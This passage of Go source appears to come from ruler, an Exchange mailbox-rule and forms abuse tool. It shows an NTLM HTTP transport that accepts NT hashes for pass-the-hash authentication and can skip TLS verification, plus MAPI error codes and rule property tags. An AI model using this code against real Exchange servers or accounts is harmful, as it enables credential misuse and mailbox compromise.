304 | }
305 | //utils.Debug.Println(assoctable.RowData[k][0].ValueArray)
306 | name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
307 | if name != "" && name == formname {
308 | return fmt.Errorf("Form with suffix [%s] already exists. You can not have multiple forms with the same suffix.", formname)
309 | }
310 | }
311 | return nil
312 | }
313 |
--------------------------------------------------------------------------------
/http-ntlm/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2016 Vadim Ivanou
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/http-ntlm/ntlmtransport.go:
--------------------------------------------------------------------------------
1 | package httpntlm
2 |
3 | //Forked from https://github.com/vadimi/go-http-ntlm
4 | //All credits go to them
5 | //Used under MIT License -- see LICENSE for details
6 | //Modified code --
7 | // r.Header.Add("Authorization", "NTLM "+encBase64(negotiateSP()))
8 | // session, err := ntlm.CreateClientSession(ntlm.Version1, ntlm.ConnectionlessMode)
9 |
10 | import (
11 | "crypto/tls"
12 | "errors"
13 | "fmt"
14 | "io"
15 | "io/ioutil"
16 | "net/http"
17 | "net/http/cookiejar"
18 | "net/url"
19 | "strings"
20 | "time"
21 |
22 | "github.com/sensepost/ruler/utils"
23 | "github.com/staaldraad/go-ntlm/ntlm"
24 | )
25 |
26 | // NtlmTransport is implementation of http.RoundTripper interface
27 | type NtlmTransport struct {
28 | Domain string
29 | User string
30 | Password string
31 | Proxy string
32 | NTHash []byte
33 | Insecure bool
34 | CookieJar *cookiejar.Jar
35 | }
36 |
37 | var Transport http.Transport
38 |
39 | // RoundTrip method send http request and tries to perform NTLM authentication
40 | func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err error) {
41 |
42 | session, err := ntlm.CreateClientSession(ntlm.Version1, ntlm.ConnectionlessMode)
43 | if err != nil {
44 | return nil, err
45 | }
46 |
47 | session.SetUserInfo(t.User, t.Password, t.Domain)
48 |
49 | if len(t.NTHash) > 0 {
50 | session.SetNTHash(t.NTHash)
51 | }
52 |
53 | b, _ := session.GenerateNegotiateMessage()
54 | // first send NTLM Negotiate header
55 | r, _ := http.NewRequest("GET", req.URL.String(), strings.NewReader(""))
56 | r.Header.Add("Authorization", "NTLM "+utils.EncBase64(b.Bytes()))
57 |
58 | if t.Proxy == "" {
59 | Transport = http.Transport{
60 | TLSClientConfig: &tls.Config{InsecureSkipVerify: t.Insecure},
61 | }
62 | } else {
63 | proxyURL, e := url.Parse(t.Proxy)
64 | if e != nil {
65 | return nil, fmt.Errorf("Invalid proxy url format %s", e)
66 | }
67 | Transport = http.Transport{Proxy: http.ProxyURL(proxyURL),
68 | TLSClientConfig: &tls.Config{InsecureSkipVerify: t.Insecure},
69 | }
70 | }
71 |
72 | tr := &Transport
73 |
74 | client := http.Client{Transport: tr, Timeout: time.Minute, Jar: t.CookieJar}
75 |
76 | resp, err := client.Do(r)
77 |
78 | if err != nil {
79 | return nil, err
80 | }
81 |
82 | if err == nil && resp.StatusCode == http.StatusUnauthorized {
83 |
84 | // it's necessary to reuse the same http connection
85 | // in order to do that it's required to read Body and close it
86 | _, err = io.Copy(ioutil.Discard, resp.Body)
87 | if err != nil {
88 | return nil, err
89 | }
90 | err = resp.Body.Close()
91 | if err != nil {
92 | return nil, err
93 | }
94 |
95 | // retrieve Www-Authenticate header from response
96 |
97 | ntlmChallengeHeader := resp.Header.Get("WWW-Authenticate")
98 | if ntlmChallengeHeader == "" {
99 | return nil, errors.New("Wrong WWW-Authenticate header")
100 | }
101 |
102 | ntlmChallengeString := strings.Replace(ntlmChallengeHeader, "NTLM ", "", -1)
103 | challengeBytes, err := utils.DecBase64(ntlmChallengeString)
104 | if err != nil {
105 | return nil, err
106 | }
107 |
108 | // parse NTLM challenge
109 | challenge, err := ntlm.ParseChallengeMessage(challengeBytes)
110 |
111 | if err != nil {
112 | return nil, err
113 | }
114 |
115 | err = session.ProcessChallengeMessage(challenge)
116 | if err != nil {
117 | return nil, err
118 | }
119 |
120 | // authenticate user
121 | authenticate, err := session.GenerateAuthenticateMessage()
122 | //fmt.Printf("%x\n", authenticate.Bytes())
123 | if err != nil {
124 | return nil, err
125 | }
126 |
127 | // set NTLM Authorization header
128 | req.Header.Set("Authorization", "NTLM "+utils.EncBase64(authenticate.Bytes()))
129 |
130 | resp, err = client.Do(req)
131 |
132 | }
133 | return resp, err
134 | }
135 |
--------------------------------------------------------------------------------
/mapi/constants.go:
--------------------------------------------------------------------------------
1 | package mapi
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 |
7 | "github.com/sensepost/ruler/utils"
8 | )
9 |
10 | //ErrorCode returns the mapi error code encountered
11 | type ErrorCode struct {
12 | ErrorCode uint32
13 | }
14 |
15 | func (e *ErrorCode) Error() string {
16 | return fmt.Sprintf("mapi: non-zero return value. ERROR_CODE: %x - %s", e.ErrorCode, ErrorMapiCode{mapicode(e.ErrorCode)})
17 | }
18 |
19 | //TransportError returns the mapi error code encountered
20 | type TransportError struct {
21 | ErrorValue error
22 | }
23 |
24 | func (e *TransportError) Error() string {
25 | return fmt.Sprintf("mapi: a transport layer error occurred. %s", e.ErrorValue)
26 | }
27 |
28 | var (
29 | //ErrTransport for when errors occurr on the transport layer
30 | ErrTransport = errors.New("mapi: a transport layer error occurred")
31 | //ErrMapiNonZero for non-zero return code in a MAPI request
32 | ErrMapiNonZero = errors.New("mapi: non-zero return value")
33 | //ErrUnknown hmm, we didn't account for this
34 | ErrUnknown = errors.New("mapi: an unhandled exception occurred")
35 | //ErrNotAdmin when attempting to get admin access to a mailbox
36 | ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin")
37 | //ErrEmptyBuffer when we have returned a buffer that is too big for our RPC packet.. sometimes this happens..
38 | ErrEmptyBuffer = errors.New("An empty response buffer has been encountered. Likely that our response was too big for the current implementation of RPC/HTTP")
39 | //ErrNonZeroStatus when the execute response status is not zero - this is not the same as the individual ROP messages erroring out
40 | ErrNonZeroStatus = errors.New("The execute request returned a non-zero status code. Use --debug to see full response.")
41 | )
42 |
43 | const (
44 | uFlagsUser = 0x00000000
45 | uFlagsAdmin = 0x00000001
46 | uFlagsNotSpecified = 0x00008000
47 | )
48 |
49 | const (
50 | ropFlagsCompression = 0x0001 //[]byte{0x01, 0x00} //LittleEndian 0x0001
51 | ropFlagsXorMagic = 0x0002 //[]byte{0x02, 0x00} //LittleEndian 0x0002
52 | ropFlagsChain = 0x0004 //[]byte{0x04, 0x00} //LittleEndian 0x0004
53 | )
54 |
55 | //OpenFlags
56 | const (
57 | UseAdminPrivilege = 0x00000001
58 | Public = 0x00000002
59 | HomeLogon = 0x00000004
60 | TakeOwnership = 0x00000008
61 | AlternateServer = 0x00000100
62 | IgnoreHomeMDB = 0x00000200
63 | NoMail = 0x00000400
64 | UserPerMdbReplidMapping = 0x01000000
65 | SupportProgress = 0x20000000
66 | )
67 |
68 | //Property Data types
69 | const (
70 | PtypInteger16 = 0x0002
71 | PtypInteger32 = 0x0003
72 | PtypInteger64 = 0x0014
73 | PtypFloating32 = 0x0004
74 | PtypFloating64 = 0x0005
75 | PtypBoolean = 0x000B
76 | PtypString = 0x001F
77 | PtypString8 = 0x001E
78 | PtypGUID = 0x0048
79 | PtypRuleAction = 0x00FE
80 | PtypRestriction = 0x00FD
81 | PtypBinary = 0x0102
82 | PtypMultipleBinary = 0x1102
83 | PtypMultipleInteger32 = 0x1003
84 | PtypMultipleInteger64 = 0x1014
85 | PtypTime = 0x0040
86 | PtypObject = 0x000D
87 | )
88 |
89 | //Folder id/locations -- https://msdn.microsoft.com/en-us/library/office/cc815825.aspx
90 | // ^ this seems to lie
91 | const (
92 | TOP = 0 //Contains outgoing IPM messages.
93 | DEFFEREDACTION = 1 //Contains IPM messages that are marked for deletion.
94 | SPOOLERQ = 2 //Contains IPM messages that have been sent.
95 | IPM = 3 //IPM root folder Contains folders for managing IPM messages.
96 | INBOX = 4 //Receive folder Contains incoming messages for a particular message class.
97 | OUTBOX = 5 //Search-results root folder Contains folders for managing search results.
98 | SENT = 6 //Common-views root folder Contains folders for managing views for the message store.
99 | DELETED = 7 //Personal-views root folder
100 | COMMON = 8
101 | SCHEDULE = 9
102 | FINDER = 10
103 | VIEWS = 11
104 | SHORTCUTS = 12
105 | )
106 |
107 | //Message status flags
108 | const (
109 | MSRemoteDownload = 0x00001000
110 | MSInConflict = 0x00000800
111 | MSRemoteDelete = 0x00002000
112 | )
113 |
114 | type mapicode uint32
115 |
116 | func (e mapicode) String() string {
117 | switch e {
118 | case MAPI_E_INTERFACE_NOT_SUPPORTED:
119 | return "MAPI_E_INTERFACE_NOT_SUPPORTED"
120 | case MAPI_E_CALL_FAILED:
121 | return "MAPI_E_CALL_FAILED"
122 | case MAPI_E_NOT_IMPLEMENTED:
123 | return "MAPI_E_NOT_IMPLEMENTED"
124 | case MAPI_E_NO_ACCESS:
125 | return "MAPI_E_NO_ACCESS"
126 | case MAPI_E_NOT_ENOUGH_MEMORY:
127 | return "MAPI_E_NOT_ENOUGH_MEMORY"
128 | case MAPI_E_INVALID_PARAMETER:
129 | return "MAPI_E_INVALID_PARAMETER"
130 | case MAPI_E_NO_SUPPORT:
131 | return "MAPI_E_NO_SUPPORT"
132 | case MAPI_E_BAD_CHARWIDTH:
133 | return "MAPI_E_BAD_CHARWIDTH"
134 | case MAPI_E_STRING_TOO_LONG:
135 | return "MAPI_E_STRING_TOO_LONG"
136 | case MAPI_E_UNKNOWN_FLAGS:
137 | return "MAPI_E_UNKNOWN_FLAGS"
138 | case MAPI_E_INVALID_ENTRYID:
139 | return "MAPI_E_INVALID_ENTRYID"
140 | case MAPI_E_INVALID_OBJECT:
141 | return "MAPI_E_INVALID_OBJECT"
142 | case MAPI_E_OBJECT_CHANGED:
143 | return "MAPI_E_OBJECT_CHANGED"
144 | case MAPI_E_OBJECT_DELETED:
145 | return "MAPI_E_OBJECT_DELETED"
146 | case MAPI_E_BUSY:
147 | return "MAPI_E_BUSY"
148 | case MAPI_E_NOT_ENOUGH_DISK:
149 | return "MAPI_E_NOT_ENOUGH_DISK"
150 | case MAPI_E_NOT_ENOUGH_RESOURCES:
151 | return "MAPI_E_NOT_ENOUGH_RESOURCES"
152 | case MAPI_E_NOT_FOUND:
153 | return "MAPI_E_NOT_FOUND"
154 | case MAPI_E_VERSION:
155 | return "MAPI_E_VERSION"
156 | case MAPI_E_LOGON_FAILED:
157 | return "MAPI_E_LOGON_FAILED"
158 | case MAPI_E_SESSION_LIMIT:
159 | return "MAPI_E_SESSION_LIMIT"
160 | case MAPI_E_USER_CANCEL:
161 | return "MAPI_E_USER_CANCEL"
162 | case MAPI_E_UNABLE_TO_ABORT:
163 | return "MAPI_E_UNABLE_TO_ABORT"
164 | case MAPI_E_NETWORK_ERROR:
165 | return "MAPI_E_NETWORK_ERROR"
166 | case MAPI_E_DISK_ERROR:
167 | return "MAPI_E_DISK_ERROR"
168 | case MAPI_E_TOO_COMPLEX:
169 | return "MAPI_E_TOO_COMPLEX"
170 | case MAPI_E_BAD_COLUMN:
171 | return "MAPI_E_BAD_COLUMN"
172 | case MAPI_E_EXTENDED_ERROR:
173 | return "MAPI_E_EXTENDED_ERROR"
174 | case MAPI_E_COMPUTED:
175 | return "MAPI_E_COMPUTED"
176 | case MAPI_E_CORRUPT_DATA:
177 | return "MAPI_E_CORRUPT_DATA"
178 | case MAPI_E_UNCONFIGURED:
179 | return "MAPI_E_UNCONFIGURED"
180 | case MAPI_E_FAILONEPROVIDER:
181 | return "MAPI_E_FAILONEPROVIDER"
182 | case MAPI_E_UNKNOWN_CPID:
183 | return "MAPI_E_UNKNOWN_CPID"
184 | case MAPI_E_UNKNOWN_LCID:
185 | return "MAPI_E_UNKNOWN_LCID"
186 | case MAPI_E_PASSWORD_CHANGE_REQUIRED:
187 | return "MAPI_E_PASSWORD_CHANGE_REQUIRED"
188 | case MAPI_E_PASSWORD_EXPIRED:
189 | return "MAPI_E_PASSWORD_EXPIRED"
190 | case MAPI_E_INVALID_WORKSTATION_ACCOUNT:
191 | return "MAPI_E_INVALID_WORKSTATION_ACCOUNT"
192 | case MAPI_E_INVALID_ACCESS_TIME:
193 | return "MAPI_E_INVALID_ACCESS_TIME"
194 | case MAPI_E_ACCOUNT_DISABLED:
195 | return "MAPI_E_ACCOUNT_DISABLED"
196 | case MAPI_E_END_OF_SESSION:
197 | return "MAPI_E_END_OF_SESSION"
198 | case MAPI_E_UNKNOWN_ENTRYID:
199 | return "MAPI_E_UNKNOWN_ENTRYID"
200 | case MAPI_E_MISSING_REQUIRED_COLUMN:
201 | return "MAPI_E_MISSING_REQUIRED_COLUMN"
202 | case MAPI_W_NO_SERVICE:
203 | return "MAPI_W_NO_SERVICE"
204 | case MAPI_E_BAD_VALUE:
205 | return "MAPI_E_BAD_VALUE"
206 | case MAPI_E_INVALID_TYPE:
207 | return "MAPI_E_INVALID_TYPE"
208 | case MAPI_E_TYPE_NO_SUPPORT:
209 | return "MAPI_E_TYPE_NO_SUPPORT"
210 | case MAPI_E_UNEXPECTED_TYPE:
211 | return "MAPI_E_UNEXPECTED_TYPE"
212 | case MAPI_E_TOO_BIG:
213 | return "MAPI_E_TOO_BIG"
214 | case MAPI_E_DECLINE_COPY:
215 | return "MAPI_E_DECLINE_COPY"
216 | case MAPI_E_UNEXPECTED_ID:
217 | return "MAPI_E_UNEXPECTED_ID"
218 | case MAPI_W_ERRORS_RETURNED:
219 | return "MAPI_W_ERRORS_RETURNED"
220 | case MAPI_E_UNABLE_TO_COMPLETE:
221 | return "MAPI_E_UNABLE_TO_COMPLETE"
222 | case MAPI_E_TIMEOUT:
223 | return "MAPI_E_TIMEOUT"
224 | case MAPI_E_TABLE_EMPTY:
225 | return "MAPI_E_TABLE_EMPTY"
226 | case MAPI_E_TABLE_TOO_BIG:
227 | return "MAPI_E_TABLE_TOO_BIG"
228 | case MAPI_E_INVALID_BOOKMARK:
229 | return "MAPI_E_INVALID_BOOKMARK"
230 | case MAPI_W_POSITION_CHANGED:
231 | return "MAPI_W_POSITION_CHANGED"
232 | case MAPI_W_APPROX_COUNT:
233 | return "MAPI_W_APPROX_COUNT"
234 | case MAPI_E_WAIT:
235 | return "MAPI_E_WAIT"
236 | case MAPI_E_CANCEL:
237 | return "MAPI_E_CANCEL"
238 | case MAPI_E_NOT_ME:
239 | return "MAPI_E_NOT_ME"
240 | case MAPI_W_CANCEL_MESSAGE:
241 | return "MAPI_W_CANCEL_MESSAGE"
242 | case MAPI_E_CORRUPT_STORE:
243 | return "MAPI_E_CORRUPT_STORE"
244 | case MAPI_E_NOT_IN_QUEUE:
245 | return "MAPI_E_NOT_IN_QUEUE"
246 | case MAPI_E_NO_SUPPRESS:
247 | return "MAPI_E_NO_SUPPRESS"
248 | case MAPI_E_COLLISION:
249 | return "MAPI_E_COLLISION"
250 | case MAPI_E_NOT_INITIALIZED:
251 | return "MAPI_E_NOT_INITIALIZED"
252 | case MAPI_E_NON_STANDARD:
253 | return "MAPI_E_NON_STANDARD"
254 | case MAPI_E_NO_RECIPIENTS:
255 | return "MAPI_E_NO_RECIPIENTS"
256 | case MAPI_E_SUBMITTED:
257 | return "MAPI_E_SUBMITTED"
258 | case MAPI_E_HAS_FOLDERS:
259 | return "MAPI_E_HAS_FOLDERS"
260 | case MAPI_E_HAS_MESSAGES:
261 | return "MAPI_E_HAS_MESSAGES"
262 | case MAPI_E_FOLDER_CYCLE:
263 | return "MAPI_E_FOLDER_CYCLE"
264 | case MAPI_E_STORE_FULL:
265 | return "MAPI_E_STORE_FULL"
266 | case MAPI_E_LOCKID_LIMIT:
267 | return "MAPI_E_LOCKID_LIMIT"
268 | case MAPI_W_PARTIAL_COMPLETION:
269 | return "MAPI_W_PARTIAL_COMPLETION"
270 | case MAPI_E_AMBIGUOUS_RECIP:
271 | return "MAPI_E_AMBIGUOUS_RECIP"
272 | case SYNC_E_OBJECT_DELETED:
273 | return "SYNC_E_OBJECT_DELETED"
274 | case SYNC_E_IGNORE:
275 | return "SYNC_E_IGNORE"
276 | case SYNC_E_CONFLICT:
277 | return "SYNC_E_CONFLICT"
278 | case SYNC_E_NO_PARENT:
279 | return "SYNC_E_NO_PARENT"
280 | case SYNC_E_INCEST:
281 | return "SYNC_E_INCEST"
282 | case SYNC_E_UNSYNCHRONIZED:
283 | return "SYNC_E_UNSYNCHRONIZED"
284 | case SYNC_W_PROGRESS:
285 | return "SYNC_W_PROGRESS"
286 | case SYNC_W_CLIENT_CHANGE_NEWER:
287 | return "SYNC_W_CLIENT_CHANGE_NEWER"
288 |
289 | }
290 | return "CODE_NOT_FOUND"
291 | }
292 |
293 | //ErrorMapiCode provides a mapping of uint32 error code to string
294 | type ErrorMapiCode struct {
295 | X mapicode
296 | }
297 |
298 | const (
299 | MAPI_E_NOT_IMPLEMENTED mapicode = 0x80040FFF
300 | MAPI_E_INTERFACE_NOT_SUPPORTED mapicode = 0x80004002
301 | MAPI_E_CALL_FAILED mapicode = 0x80004005
302 | MAPI_E_NO_ACCESS mapicode = 0x80070005
303 | MAPI_E_NOT_ENOUGH_MEMORY mapicode = 0x8007000e
304 | MAPI_E_INVALID_PARAMETER mapicode = 0x80070057
305 | MAPI_E_NO_SUPPORT mapicode = 0x80040102
306 | MAPI_E_BAD_CHARWIDTH mapicode = 0x80040103
307 | MAPI_E_STRING_TOO_LONG mapicode = 0x80040105
308 | MAPI_E_UNKNOWN_FLAGS mapicode = 0x80040106
309 | MAPI_E_INVALID_ENTRYID mapicode = 0x80040107
310 | MAPI_E_INVALID_OBJECT mapicode = 0x80040108
311 | MAPI_E_OBJECT_CHANGED mapicode = 0x80040109
312 | MAPI_E_OBJECT_DELETED mapicode = 0x8004010a
313 | MAPI_E_BUSY mapicode = 0x8004010b
314 | MAPI_E_NOT_ENOUGH_DISK mapicode = 0x8004010d
315 | MAPI_E_NOT_ENOUGH_RESOURCES mapicode = 0x8004010e
316 | MAPI_E_NOT_FOUND mapicode = 0x8004010f
317 | MAPI_E_VERSION mapicode = 0x80040110
318 | MAPI_E_LOGON_FAILED mapicode = 0x80040111
319 | MAPI_E_SESSION_LIMIT mapicode = 0x80040112
320 | MAPI_E_USER_CANCEL mapicode = 0x80040113
321 | MAPI_E_UNABLE_TO_ABORT mapicode = 0x80040114
322 | MAPI_E_NETWORK_ERROR mapicode = 0x80040115
323 | MAPI_E_DISK_ERROR mapicode = 0x80040116
324 | MAPI_E_TOO_COMPLEX mapicode = 0x80040117
325 | MAPI_E_BAD_COLUMN mapicode = 0x80040118
326 | MAPI_E_EXTENDED_ERROR mapicode = 0x80040119
327 | MAPI_E_COMPUTED mapicode = 0x8004011a
328 | MAPI_E_CORRUPT_DATA mapicode = 0x8004011b
329 | MAPI_E_UNCONFIGURED mapicode = 0x8004011c
330 | MAPI_E_FAILONEPROVIDER mapicode = 0x8004011d
331 | MAPI_E_UNKNOWN_CPID mapicode = 0x8004011e
332 | MAPI_E_UNKNOWN_LCID mapicode = 0x8004011f
333 | MAPI_E_PASSWORD_CHANGE_REQUIRED mapicode = 0x80040120
334 | MAPI_E_PASSWORD_EXPIRED mapicode = 0x80040121
335 | MAPI_E_INVALID_WORKSTATION_ACCOUNT mapicode = 0x80040122
336 | MAPI_E_INVALID_ACCESS_TIME mapicode = 0x80040123
337 | MAPI_E_ACCOUNT_DISABLED mapicode = 0x80040124
338 | MAPI_E_END_OF_SESSION mapicode = 0x80040200
339 | MAPI_E_UNKNOWN_ENTRYID mapicode = 0x80040201
340 | MAPI_E_MISSING_REQUIRED_COLUMN mapicode = 0x80040202
341 | MAPI_W_NO_SERVICE mapicode = 0x00040203
342 | MAPI_E_BAD_VALUE mapicode = 0x80040301
343 | MAPI_E_INVALID_TYPE mapicode = 0x80040302
344 | MAPI_E_TYPE_NO_SUPPORT mapicode = 0x80040303
345 | MAPI_E_UNEXPECTED_TYPE mapicode = 0x80040304
346 | MAPI_E_TOO_BIG mapicode = 0x80040305
347 | MAPI_E_DECLINE_COPY mapicode = 0x80040306
348 | MAPI_E_UNEXPECTED_ID mapicode = 0x80040307
349 | MAPI_W_ERRORS_RETURNED mapicode = 0x00040380
350 | MAPI_E_UNABLE_TO_COMPLETE mapicode = 0x80040400
351 | MAPI_E_TIMEOUT mapicode = 0x80040401
352 | MAPI_E_TABLE_EMPTY mapicode = 0x80040402
353 | MAPI_E_TABLE_TOO_BIG mapicode = 0x80040403
354 | MAPI_E_INVALID_BOOKMARK mapicode = 0x80040405
355 | MAPI_W_POSITION_CHANGED mapicode = 0x00040481
356 | MAPI_W_APPROX_COUNT mapicode = 0x00040482
357 | MAPI_E_WAIT mapicode = 0x80040500
358 | MAPI_E_CANCEL mapicode = 0x80040501
359 | MAPI_E_NOT_ME mapicode = 0x80040502
360 | MAPI_W_CANCEL_MESSAGE mapicode = 0x00040580
361 | MAPI_E_CORRUPT_STORE mapicode = 0x80040600
362 | MAPI_E_NOT_IN_QUEUE mapicode = 0x80040601
363 | MAPI_E_NO_SUPPRESS mapicode = 0x80040602
364 | MAPI_E_COLLISION mapicode = 0x80040604
365 | MAPI_E_NOT_INITIALIZED mapicode = 0x80040605
366 | MAPI_E_NON_STANDARD mapicode = 0x80040606
367 | MAPI_E_NO_RECIPIENTS mapicode = 0x80040607
368 | MAPI_E_SUBMITTED mapicode = 0x80040608
369 | MAPI_E_HAS_FOLDERS mapicode = 0x80040609
370 | MAPI_E_HAS_MESSAGES mapicode = 0x8004060a
371 | MAPI_E_FOLDER_CYCLE mapicode = 0x8004060b
372 | MAPI_E_STORE_FULL mapicode = 0x8004060c
373 | MAPI_E_LOCKID_LIMIT mapicode = 0x8004060D
374 | MAPI_W_PARTIAL_COMPLETION mapicode = 0x00040680
375 | MAPI_E_AMBIGUOUS_RECIP mapicode = 0x80040700
376 | SYNC_E_OBJECT_DELETED mapicode = 0x80040800
377 | SYNC_E_IGNORE mapicode = 0x80040801
378 | SYNC_E_CONFLICT mapicode = 0x80040802
379 | SYNC_E_NO_PARENT mapicode = 0x80040803
380 | SYNC_E_INCEST mapicode = 0x80040804
381 | SYNC_E_UNSYNCHRONIZED mapicode = 0x80040805
382 | SYNC_W_PROGRESS mapicode = 0x00040820
383 | SYNC_W_CLIENT_CHANGE_NEWER mapicode = 0x00040821
384 | )
385 |
386 | //-------- TAGS -------
387 |
388 | //Find these in [MS-OXPROPS]
389 |
390 | //PidTagRuleID the TaggedPropertyValue for rule id
391 | var PidTagRuleID = PropertyTag{PtypInteger64, 0x6674}
392 |
393 | //PidTagRuleName the TaggedPropertyValue for rule id
394 | var PidTagRuleName = PropertyTag{PtypString, 0x6682}
395 |
396 | //PidTagRuleSequence the TaggedPropertyValue for rule id
397 | var PidTagRuleSequence = PropertyTag{PtypInteger32, 0x6676}
398 |
399 | //PidTagRuleState the TaggedPropertyValue for rule id
400 | var PidTagRuleState = PropertyTag{PtypInteger32, 0x6677}
401 |
402 | //PidTagRuleCondition the TaggedPropertyValue for rule id
403 | var PidTagRuleCondition = PropertyTag{PtypRestriction, 0x6679}
404 |
405 | //PidTagRuleActions the TaggedPropertyValue for rule id
406 | var PidTagRuleActions = PropertyTag{PtypRuleAction, 0x6680}
407 |
408 | //PidTagRuleProvider the TaggedPropertyValue for rule id
409 | var PidTagRuleProvider = PropertyTag{PtypString, 0x6681}
410 |
411 | //PidTagRuleProviderData the TaggedPropertyValue for rule id
412 | var PidTagRuleProviderData = PropertyTag{PtypBinary, 0x6684}
413 |
414 | //PidTagRuleLevel the TaggedPropertyValue for rule level
415 | var PidTagRuleLevel = PropertyTag{PtypInteger32, 0x6683}
416 |
417 | //PidTagRuleUserFlags the TaggedPropertyValue for rule user flags
418 | var PidTagRuleUserFlags = PropertyTag{PtypInteger32, 0x6678}
419 |
420 | //PidTagParentFolderID Contains a value that contains the Folder ID
421 | var PidTagParentFolderID = PropertyTag{PtypInteger64, 0x6749}
422 |
423 | //PidTagAccess indicates operations available
424 | var PidTagAccess = PropertyTag{PtypInteger32, 0x0ff4}
425 |
426 | //PidTagMemberName contains user-readable name of the user
427 | var PidTagMemberName = PropertyTag{PtypBinary, 0x6672}
428 |
429 | //PidTagDefaultPostMessageClass contains message class of the object
430 | var PidTagDefaultPostMessageClass = PropertyTag{PtypString, 0x36e5}
431 |
432 | //PidTagDisplayName display name of the folder
433 | var PidTagDisplayName = PropertyTag{PtypString, 0x3001}
434 |
435 | //PidTagEntryID display name of the folder
436 | var PidTagEntryID = PropertyTag{PtypBinary, 0x0FFF}
437 |
438 | //PidTagEmailAddress display name of the folder
439 | var PidTagEmailAddress = PropertyTag{PtypString, 0x3003}
440 |
441 | //PidTagAddressType display name of the folder
442 | var PidTagAddressType = PropertyTag{PtypString, 0x3001}
443 |
444 | //PidTagFolderType specifies the type of folder that includes the root folder,
445 | var PidTagFolderType = PropertyTag{PtypInteger32, 0x3601}
446 |
447 | //PidTagFolderID the ID of the folder
448 | var PidTagFolderID = PropertyTag{PtypInteger64, 0x6748}
449 |
450 | //PidTagContentCount specifies the number of rows under the header row
451 | var PidTagContentCount = PropertyTag{PtypInteger32, 0x3602}
452 |
453 | //PidTagContentUnreadCount specifies the number of rows under the header row
454 | var PidTagContentUnreadCount = PropertyTag{PtypInteger32, 0x3603}
455 |
456 | //PidTagSubfolders specifies whether the folder has subfolders
457 | var PidTagSubfolders = PropertyTag{PtypBoolean, 0x360a}
458 |
459 | //PidTagLocaleID contains the Logon object LocaleID
460 | var PidTagLocaleID = PropertyTag{PtypInteger32, 0x66A1}
461 |
462 | //----Tags for email properties ----
463 |
464 | //PidTagSentMailSvrEID id of the sent folder
465 | var PidTagSentMailSvrEID = PropertyTag{0x00FB, 0x6740}
466 |
467 | //PidTagBody a
468 | var PidTagBody = PropertyTag{PtypString, 0x1000}
469 |
470 | //PidTagBodyContentID a
471 | var PidTagBodyContentID = PropertyTag{PtypString, 0x1015}
472 |
473 | //PidTagConversationTopic a
474 | var PidTagConversationTopic = PropertyTag{PtypString, 0x0070}
475 |
476 | //PidTagMessageClass this will always be IPM.Note
477 | var PidTagMessageClass = PropertyTag{PtypString, 0x001A}
478 |
479 | //PidTagMessageClassIPMNote this will always be IPM.Note
480 | var PidTagMessageClassIPMNote = TaggedPropertyValue{PropertyTag{PtypString, 0x001A}, utils.UniString("IPM.Note")}
481 |
482 | //PidTagMessageFlags setting this to unsent
483 | var PidTagMessageFlags = PropertyTag{PtypInteger32, 0x0E07} //0x00000008
484 |
485 | //PidTagIconIndexOld index of the icon to display
486 | var PidTagIconIndexOld = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x1080}, []byte{0xFF, 0xFF, 0xFF, 0xFF}}
487 |
488 | //PidTagMessageEditorFormatOld format lets do plaintext
489 | var PidTagMessageEditorFormatOld = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x5909}, []byte{0x01, 0x00, 0x00, 0x00}}
490 |
491 | //PidTagNativeBody format of the body
492 | var PidTagNativeBody = PropertyTag{PtypInteger32, 0x1016}
493 |
494 | //PidTagMessageLocaleID format lets do en-us
495 | var PidTagMessageLocaleID = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x3FF1}, []byte{0x09, 0x04, 0x00, 0x00}}
496 |
497 | //PidTagPrimarySendAccount who is sending
498 | var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28}
499 |
500 | //PidTagObjectType used in recepient
501 | var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE}
502 |
503 | //PidTagImportance used in recepient
504 | var PidTagImportance = PropertyTag{PtypInteger32, 0x0017}
505 |
506 | //PidTagDisplayType used in recepient
507 | var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900}
508 |
509 | //PidTagAddressBookDisplayNamePrintable used in recepient
510 | var PidTagAddressBookDisplayNamePrintable = PropertyTag{PtypString, 0x39FF}
511 |
512 | //PidTagSMTPAddress used in recepient
513 | var PidTagSMTPAddress = PropertyTag{PtypString, 0x39FE}
514 |
515 | //PidTagSendInternetEncoding used in recepient
516 | var PidTagSendInternetEncoding = PropertyTag{PtypInteger32, 0x3a71}
517 |
518 | //PidTagDisplayTypeEx used in recepient
519 | var PidTagDisplayTypeEx = PropertyTag{PtypInteger32, 0x3905}
520 |
521 | //PidTagRecipientDisplayName used in recepient
522 | var PidTagRecipientDisplayName = PropertyTag{PtypString, 0x5FF6}
523 |
524 | //PidTagRecipientFlags used in recepient
525 | var PidTagRecipientFlags = PropertyTag{PtypInteger32, 0x5FFD}
526 |
527 | //PidTagRecipientTrackStatus used in recepient
528 | var PidTagRecipientTrackStatus = PropertyTag{PtypInteger32, 0x5FFF}
529 |
530 | //Unspecifiedproperty used in recepient
